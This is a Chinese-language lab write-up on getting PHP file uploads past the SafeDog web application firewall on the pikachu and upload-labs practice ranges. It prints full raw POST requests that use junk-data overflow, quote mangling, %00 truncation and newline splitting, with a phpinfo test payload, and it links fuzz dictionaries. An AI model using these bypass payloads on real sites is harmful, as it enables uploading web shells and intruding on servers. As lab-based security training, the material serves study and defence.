上传waf绕过

上传参数名解析:明确有哪些东西能修改?
Content-Disposition: 一般可更改name: 表单参数值,不能更改filename :文件名,可以更改Content-Type:文件MIME,视情况更改
常见的绕过方法
数据溢出-防匹配(xxx.. .)符号变异-防匹配('" ;)数据截断-防匹配(%00 ;换行)重复数据-防匹配(参数多次)
pikachu+安全狗绕过
https://www.cnblogs.com/shley/p/14800623.html
数据溢出

正常上传的情况

被安全狗拦截的情况

修改数据包上传Content-Disposition: form-data; name=”uploadfile”;中间插入大量的垃圾数据从而绕过。
%00截断
使用%00截断,添加合法后缀名格式:文件名.php%00.png
改变符号
去掉双引号
POST /vul/unsafeupload/servercheck.php HTTP/1.1Host: 10.1.1.6:88User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------276594773132894662704244861418Content-Length: 367Origin: http://10.1.1.6:88Connection: closeReferer: http://10.1.1.6:88/vul/unsafeupload/servercheck.phpCookie: PHPSESSID=e405r8e634hhjk7su64ofmjknlUpgrade-Insecure-Requests: 1-----------------------------276594773132894662704244861418Content-Disposition: form-data;name="uploadfile"; filename=info4.phpContent-Type: image/jpeg<?php phpinfo(); ?>-----------------------------276594773132894662704244861418Content-Disposition: form-data; name="submit"å¼å§ä¸ä¼-----------------------------276594773132894662704244861418--

只使用一个双引号,成功上传文件info5.php
POST /vul/unsafeupload/servercheck.php HTTP/1.1Host: 10.1.1.6:88User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------276594773132894662704244861418Content-Length: 368Origin: http://10.1.1.6:88Connection: closeReferer: http://10.1.1.6:88/vul/unsafeupload/servercheck.phpCookie: PHPSESSID=e405r8e634hhjk7su64ofmjknlUpgrade-Insecure-Requests: 1-----------------------------276594773132894662704244861418Content-Disposition: form-data;name="uploadfile"; filename="info5.phpContent-Type: image/jpeg<?php phpinfo(); ?>-----------------------------276594773132894662704244861418Content-Disposition: form-data; name="submit"å¼å§ä¸ä¼-----------------------------276594773132894662704244861418--
uploads+安全狗绕过
数据溢出
POST /Pass-06/index.php?action=show_code HTTP/1.1Host: 10.1.1.6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------219208409912899756444268510117Content-Length: 378Origin: http://10.1.1.6Connection: closeReferer: http://10.1.1.6/Pass-06/index.php?action=show_codeUpgrade-Insecure-Requests: 1-----------------------------219208409912899756444268510117Content-Disposition: form-data; name="upload_file";填充大量的垃圾数据; filename="info.Php"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------219208409912899756444268510117Content-Disposition: form-data; name="submit"涓婁紶-----------------------------219208409912899756444268510117--
改变符号
POST /Pass-02/index.php?action=show_code HTTP/1.1Host: 10.1.1.6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348Content-Length: 363Origin: http://10.1.1.6Connection: closeReferer: http://10.1.1.6/Pass-02/index.php?action=show_codeUpgrade-Insecure-Requests: 1-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="upload_file"; filename="info.phpContent-Type: image/jpeg<?php phpinfo(); ?>-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="submit"涓婁紶-----------------------------156187617541967037312717027348--

POST /Pass-02/index.php?action=show_code HTTP/1.1Host: 10.1.1.6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348Content-Length: 362Origin: http://10.1.1.6Connection: closeReferer: http://10.1.1.6/Pass-02/index.php?action=show_codeUpgrade-Insecure-Requests: 1-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="upload_file"; filename=info.phpContent-Type: image/jpeg<?php phpinfo(); ?>-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="submit"涓婁紶-----------------------------156187617541967037312717027348--
%00截断
POST /Pass-02/index.php?action=show_code HTTP/1.1Host: 10.1.1.6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348Content-Length: 371Origin: http://10.1.1.6Connection: closeReferer: http://10.1.1.6/Pass-02/index.php?action=show_codeUpgrade-Insecure-Requests: 1-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="upload_file"; filename="info.php%00.png"Content-Type: image/jpeg<?php phpinfo(); ?>-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="submit"涓婁紶-----------------------------156187617541967037312717027348--
换行执行
POST /Pass-02/index.php?action=show_code HTTP/1.1Host: 10.1.1.6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348Content-Length: 368Origin: http://10.1.1.6Connection: closeReferer: http://10.1.1.6/Pass-02/index.php?action=show_codeUpgrade-Insecure-Requests: 1-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="upload_file"; filename="x.php"Content-Type: image/jpeg<?php phpinfo(); ?>-----------------------------156187617541967037312717027348Content-Disposition: form-data; name="submit"涓婁紶-----------------------------156187617541967037312717027348--


fuzz字典
https://github.com/fuzzdbproject/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/TuuuNya/fuzz_dict
https://github.com/jas502n/fuzz-wooyun-org




